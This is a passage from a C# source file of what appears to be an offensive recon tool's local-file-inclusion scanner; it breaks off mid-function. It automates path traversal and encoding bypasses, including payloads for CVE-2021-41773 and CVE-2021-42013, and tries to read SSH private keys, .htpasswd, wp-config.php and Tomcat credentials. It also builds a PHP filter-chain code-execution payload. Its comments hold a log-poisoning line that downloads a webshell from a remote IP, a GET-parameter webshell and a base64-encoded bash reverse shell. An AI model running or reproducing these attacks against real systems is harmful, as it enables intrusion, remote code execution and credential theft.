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LFI.cs
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using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Drawing;
namespace Reecon
{
class LFI
{
[System.Diagnostics.CodeAnalysis.SuppressMessage("Style", "IDE0044:Add readonly modifier")]
// private static WebClient wc = new();
private static string baseURL = "";
private static string baseLocation = "";
private static int notFoundLength = 0;
private static int notFoundLength2 = 0;
private static int notFoundLength3 = 0;
private static int bypassMethod = -1;
private static string cookie = null;
public static void Scan(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("LFI Usage: reecon -lfi http://www.site.com/bla.php?include=file optCookieName=cookievalue");
return;
}
if (args.Length == 3)
{
Console.WriteLine("Setting cookie to: " + args[2]);
cookie = args[2];
}
ScanPath(args[1]);
}
public static void ScanPath(string path)
{
if (!path.StartsWith("http"))
{
Console.WriteLine("Error: LFI path must start with http");
return;
}
Console.WriteLine("Starting LFI Scan - This feature is still in Alpha");
// Init
InitialChecks(path);
// Find OS
var OS = GetOS();
if (OS == General.OS.Linux)
{
Console.WriteLine("OS Detected as: " + "Linux".Recolor(Color.Green));
Console.WriteLine("Running additional checks - Please wait...");
List<string> linux_WebChecks = new()
{
// General web checks
"/var/www/html/.htpasswd",
"/var/www/html/forum/.htpasswd",
"/var/www/",
// Wordpress
"/var/www/html/wp-config.php",
"/var/www/html/wordpress/wp-config.php",
"/var/www/wordpress/wp-config.php"
};
DoLFI(linux_WebChecks);
// Do nginx specific checks
List<string> linux_nginx = new()
{
"/etc/nginx/sites-available/default"
};
DoLFI(linux_nginx);
// Do Apache2 specific checks - https://packages.ubuntu.com/eoan/all/apache2/filelist
List<string> linux_apache = new()
{
"/etc/apache2/sites-available/000-default.conf"
};
bool hasApache = DoLFI(linux_apache);
if (hasApache)
{
// Check for .htpasswd
DoLFI(new List<string>() { "/etc/apache2/.htpasswd" });
// Apache2 Log Poisoning Path (Very restricted):
bool apache2Log = DoLFI(new List<string>() { "/var/log/apache2/access.log" });
if (apache2Log)
{
// Log poisoning file upload
// Mozilla/5.0 <?php file_put_contents('reeshell.php', file_get_contents('http://10.8.8.233:9001/reeshell.php'))?> Firefox/70.0
// The below line is virus-flagged by "Rising", "Sangfor Engine Zero", and "Tencent" - But not by Defender (It is if you change woofles to cmd)
// Mozilla/5.0 <?php system($_GET['woofles']);?> Firefox/70.0 if no callbacks allowed / you can't find the file
Console.WriteLine("LFI - Log Poisoning File Upload - Bug Reelix");
}
}
// Do some logging checks
List<string> linux_logs = new()
{
"/var/log/vsftpd.log", // FTP
"/var/log/auth.log" // SSH
};
DoLFI(linux_logs);
// Do MySQL Checks
List<string> linux_mysql = new()
{
"/etc/my.cnf",
"/etc/mysql/my.cnf",
"/var/log/mysql/error.log"
};
DoLFI(linux_mysql);
// Do Tomcat9 Checks - https://packages.ubuntu.com/eoan/all/tomcat9/filelist
List<string> linux_tomcat9 = new()
{
"/etc/cron.daily/tomcat9",
"/etc/rsyslog.d/tomcat9.conf",
"/usr/lib/sysusers.d/tomcat9.conf",
"/usr/lib/tmpfiles.d/tomcat9.conf",
"/usr/libexec/tomcat9/tomcat-start.sh",
"/usr/share/tomcat9/etc/server.xml",
"/usr/share/tomcat9/etc/tomcat-users.xml",
"/usr/share/tomcat9/etc/web.xml",
"/var/lib/tomcat9/webapps/ROOT/index.html",
"/opt/tomcat/conf/tomcat-users.xml" // Multiple Tomcat Versions - Found in Tomcat 8
};
DoLFI(linux_tomcat9);
// Do basic SSH Checks - https://evi1us3r.wordpress.com/lfi-cheat-sheet/
List<string> linux_ssh = new()
{
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"/root/.ssh/id_rsa",
"/root/.ssh/authorized_keys",
"/var/log/auth.log"
};
DoLFI(linux_ssh);
// Linux - Misc
List<string> linux_misc = new()
{
"/etc/laurel/config.toml" // Tell if exists - Nothing super useful though
// /var/log/laurel
};
DoLFI(linux_misc);
// Mega Weird
int actualBypassMethod = bypassMethod;
bypassMethod = 8;
DoLFI(new List<string> { "phpinfo();" });
bypassMethod = actualBypassMethod;
}
else if (OS == General.OS.Windows)
{
Console.WriteLine("OS Detected as: Windows");
// Do IIS Checks
Console.WriteLine("LFI - Windows - Bug Reelix");
}
else
{
Console.WriteLine("LFI - Unknown OS - Bug Reelix");
// Unknown - Do All Checks
}
Console.WriteLine("All Checks Done!");
if (OS == General.OS.Linux)
{
Console.WriteLine("Note: If you can create sessions, they can be stored in /tmp/ses_SESSID");
}
}
// Initial Checks
private static void InitialChecks(string path)
{
Console.WriteLine("Scanning: " + path);
// First, check to make sure that the initial version works
HttpStatusCode statusCode = General.GetResponseCode(path, cookie);
if (statusCode != HttpStatusCode.OK)
{
Console.WriteLine(path + " is not an OK page :(");
Environment.Exit(0);
}
// Split the URL - Can't just split since the location could contain an =
baseURL = path.Substring(0, path.IndexOf("=") + 1);
baseLocation = path.Remove(0, path.IndexOf("=") + 1);
// Run checks to determine what an invalid path returns
Console.WriteLine("Determining invalid path results...");
// NFL1 - A regular invalid path
string result = Web.GetHTTPInfo(baseURL + "Reelix", Cookie: cookie).PageText;
notFoundLength = result.Length; // Check for cases where the page text contains the URL?
// Some not-found pages can be blank
if (notFoundLength < 0)
{
notFoundLength = 0;
}
Console.WriteLine("Invalid Path 1/3 Length: " + notFoundLength);
// NFL2 - An invalid path with 2 dots
result = Web.GetHTTPInfo(baseURL + "Ree..lix", Cookie: cookie).PageText;
notFoundLength2 = result.Length;
if (notFoundLength2 < 0)
{
notFoundLength2 = 0;
}
Console.WriteLine("Invalid Path 2/3 Length: " + notFoundLength2);
// NFL3 - An invalid path, but the error message contains the path itself
result = Web.GetHTTPInfo(baseURL + "/some/file/name.txt", Cookie: cookie).PageText;
notFoundLength3 = result.Replace("/some/file/name.txt", "").Length;
if (notFoundLength3 < 0)
{
notFoundLength3 = 0;
}
Console.WriteLine("Invalid Path 3/3 Length: " + notFoundLength3);
}
private static General.OS GetOS()
{
Console.WriteLine("Running OS Checks...");
// Linux
List<string> linuxChecks = new()
{
"/etc/./passwd", // The . is intentional - It's a mini firewall bypass
"/etc/passwd",
"/etc/resolv.conf",
"/var/www/index.php",
"/var/www/html/index.php",
"/etc/hostname", // Box Hostname
"/etc/hosts",
"/etc/issue", // Shows the Release
"/etc/group", // Groups
"/proc/self/cmdline" // Running commandline
};
bool hasResult = DoLFI(linuxChecks);
if (hasResult)
{
return General.OS.Linux;
}
// Windows
List<string> windowsChecks = new()
{
"/boot.ini", // Basic boot.ini
"/inetpub/wwwroot/index.php", // Basic IIS Webserver
"/Windows/debug/NetSetup.log", // Some basic Windows info
"/Windows/SoftwareDistribution/ReportingEvents.log", // Windows Patches
"/Windows/System32/cmd.exe", // What Windows box doesn't have cmd?
"/Windows/win.ini" // Should have this
// xampp/apache/logs/access.log
};
hasResult = DoLFI(windowsChecks);
if (hasResult)
{
return General.OS.Windows;
}
return General.OS.Unknown;
}
private static bool DoLFI(List<string> lfiChecks)
{
// To Implement:
// We only need to do a bypass once on the initial OS check.
// If it's working, it's working - Don't need to try each bypass every time
// Maybe base64'ing PHP might be useful though...
// TODO: Null Byte each
// TODO: Base64 Encode Each --> bla=php://filter/convert.base64-encode/resource=locationHere
// TODO: UTF8 Each --> bla=php://filter/convert.iconv.utf-8.ascii/resource=locationHere (Thanks spymky)
// TODO: Assert RCE Exploit: ' and die (show_source('/etc/passwd')) or '
// ' and die (system('echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguNDkuNTYvOTAwMSA8JjE= | base64 -d | bash')) or '
// TODO: Assert Exploit -> ', '..') === false and $myfile = fopen("/flag.txt", "r") and exit(fread($myfile,filesize("/flag.txt"))) or true or strpos('
// https://academy.hackthebox.com/module/23/section/253
// TODO: data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id (PHP) -> PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg== -> <?php system($_GET["cmd"]); ?>
// TODO: expect://id
// If it must contain a word
// php://filter/read=convert.base64-encode/wordhere/resource=flag
// ../ bypass: %2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
// More: https://book.hacktricks.xyz/pentesting-web/file-inclusion
// Note: Paths can sometimes be quite deep - Use a base of 7 folders up
// Bypass Method 0: {PATH}
// Bypass Method 1: /../../../../../..{PATH}
// Bypass Method 2: /../../../../../..{PATH}%00
// Bypass Method 3: /../../../../../..{PATH}%00.ext
// Bypass Method 4: CVE-2021-41773 - .%2e/.%2e/.%2e/.%2e/.%2e{PATH}
// Bypass Method 5: CVE-2021-42013 - %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65{PATH}
// Bypass Method 6: Non-Recursive Strip - /../.../...//../.../...//../.../...//../.../...//../.../.../{PATH}
// Bypass Method 7: Double URL Encoding: %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f (../../../../{PATH})
// Bypass Method 8 - Oh gawd
// - https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
// - https://github.com/synacktiv/php_filter_chain_generator
// - php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
bool hasResult = false;
foreach (string check in lfiChecks)
{
// Method 0 - {PATH}
if (bypassMethod == -1)
{
Console.WriteLine($"Testing: {{PATH}} with {check}");
}
if (bypassMethod == -1 || bypassMethod == 0)
{
string toCheck = baseURL + check;
int bypassLength = 0; // No bypass
bool isLFI = TestLFI(toCheck, check, bypassLength);
if (isLFI && bypassMethod == -1)
{
hasResult = true;
bypassMethod = 0;
}
}
// Method 1: /../../../../../..{PATH}
if (bypassMethod == -1)
{
Console.WriteLine($"Testing: /../../../../../..{{PATH}} with {check}");
}
if (bypassMethod == -1 || bypassMethod == 1)
{
string toCheck = baseURL + "/../../../../../.." + check;
int bypassLength = "/../../../../../..".Length;
bool isLFI = TestLFI(toCheck, check, bypassLength);
if (isLFI && bypassMethod == -1)
{
hasResult = true;
bypassMethod = 1;
}
}
// Method 2: /../../../../../..{PATH}%00
if (bypassMethod == -1)
{
Console.WriteLine($"Testing: /../../../../../..{{PATH}}%00 with {check}");
}
if (bypassMethod == -1 || bypassMethod == 2)
{
string toCheck = baseURL + "/../../../../../.." + check + "%00";
int bypassLength = "/../../../../../...".Length + "%00".Length;
bool isLFI = TestLFI(toCheck, check, bypassLength);
if (isLFI && bypassMethod == -1)
{
hasResult = true;
bypassMethod = 2;
}
}
// Method 3: /../../../../..{PATH}%00.ext
if (bypassMethod == -1 && baseLocation.Contains('.'))
{
Console.WriteLine($"Testing: /../../../../..{{PATH}}%00.ext with {check}");
}
if (bypassMethod == -1 || bypassMethod == 3)
{
string ext = baseLocation.Remove(0, baseLocation.IndexOf(".") + 1);
string toCheck = baseURL + "/../../../../.." + check + $"%00.{ext}";
int bypassLength = "/../../../../..".Length + "%00.".Length + ext.Length;
bool isLFI = TestLFI(toCheck, check, bypassLength);
if (isLFI && bypassMethod == -1)
{
hasResult = true;
bypassMethod = 3;
}
}
// Method 4: CVE-2021-41773 - .%2e/.%2e/.%2e/.%2e/.%2e{PATH}
if (bypassMethod == -1)
{
Console.WriteLine($"Testing: .%2e/.%2e/.%2e/.%2e/.%2e{{PATH}} with {check}");
}
if (bypassMethod == -1 || bypassMethod == 5)
{
string toCheck = baseURL + ".%2e/.%2e/.%2e/.%2e/.%2e" + check;
int bypassLength = ".%2e/.%2e/.%2e/.%2e/.%2e".Length;
bool isLFI = TestLFI(toCheck, check, bypassLength);
if (isLFI && bypassMethod == -1)
{
hasResult = true;
bypassMethod = 4;
}
}
// Method 5: CVE-2021-42013 - %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65{PATH}
if (bypassMethod == -1)
{
Console.WriteLine($"Testing: %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65{{PATH}} with {check}");
}
if (bypassMethod == -1 || bypassMethod == 5)
{
string toCheck = baseURL + "%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65" + check;
int bypassLength = "%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65".Length;
bool isLFI = TestLFI(toCheck, check, bypassLength);
if (isLFI && bypassMethod == -1)
{
hasResult = true;
bypassMethod = 5;
}
}
// Method 6 - Non-Recursive Strip - /../.../...//../.../...//../.../...//../.../...//../.../.../{PATH}
if (bypassMethod == -1)
{
Console.WriteLine($"Testing: /../.../...//../.../...//../.../...//../.../...//../.../.../{{PATH}} with {check}");
}
if (bypassMethod == -1 || bypassMethod == 6)
{
string toCheck = baseURL + "/../.../...//../.../...//../.../...//../.../...//../.../.../" + check;
int bypassLength = "/../.../...//../.../...//../.../...//../.../...//../.../.../".Length;
bool isLFI = TestLFI(toCheck, check, bypassLength);
if (isLFI && bypassMethod == -1)
{
hasResult = true;
bypassMethod = 6;
}
}
// Method 7: Double URL Encoding: %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f (../../../../{PATH})
if (bypassMethod == -1)
{
Console.WriteLine($"Testing: Bypass Method 7: Double URL Encoding: %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f (../../../../{{PATH}}) with {check}");
}
if (bypassMethod == -1 || bypassMethod == 7)
{
string toCheck = baseURL + "%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f" + check;
int bypassLength = "%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f".Length;
bool isLFI = TestLFI(toCheck, check, bypassLength);
if (isLFI && bypassMethod == -1)
{
hasResult = true;
bypassMethod = 6;
}
}
// Method 8 - PHP Filter Code Execution
if (bypassMethod == 8)
{
string toCheck = baseURL + "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp";
int bypassLength = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp".Length;
// Relevancy is checked elsewhere
bool isLFI = TestLFI(toCheck, check, bypassLength);
}
}
return hasResult;
}
private static bool TestLFI(string fullPath, string check, int bypassLength)
{
try
{
var requestResult = Web.GetHTTPInfo(fullPath, Cookie: cookie);
if (requestResult.AdditionalInfo == "Timeout")
{
Console.WriteLine("- " + fullPath + " -- Timeout :(");
return false;
}
string result = requestResult.PageText;
int resultLength = result.Length;
if (
// NFL 1
resultLength != notFoundLength && resultLength != (notFoundLength + check.Length + bypassLength)
// NFL 2
&& resultLength != notFoundLength2 && resultLength != (notFoundLength2 + check.Length + bypassLength)
// NFL 3
&& (resultLength - (check.Length + bypassLength) != notFoundLength3)
&& !result.Contains("failed to open stream")
&& !result.Contains("Attack detected") // Firewall
)
{
Console.WriteLine("- " + fullPath + " (Len: " + resultLength + ")");
ParseUsefulEntries(check, result);
return true;
}
return false;
}
catch (Exception ex)
{
Console.WriteLine("LFI Bug - Bug Reelix: " + ex.Message);
return false;
// Nope!
}
}
private static void ParseUsefulEntries(string check, string pageText)
{
if (check == "/etc/passwd" || check == "/etc/./passwd")
{
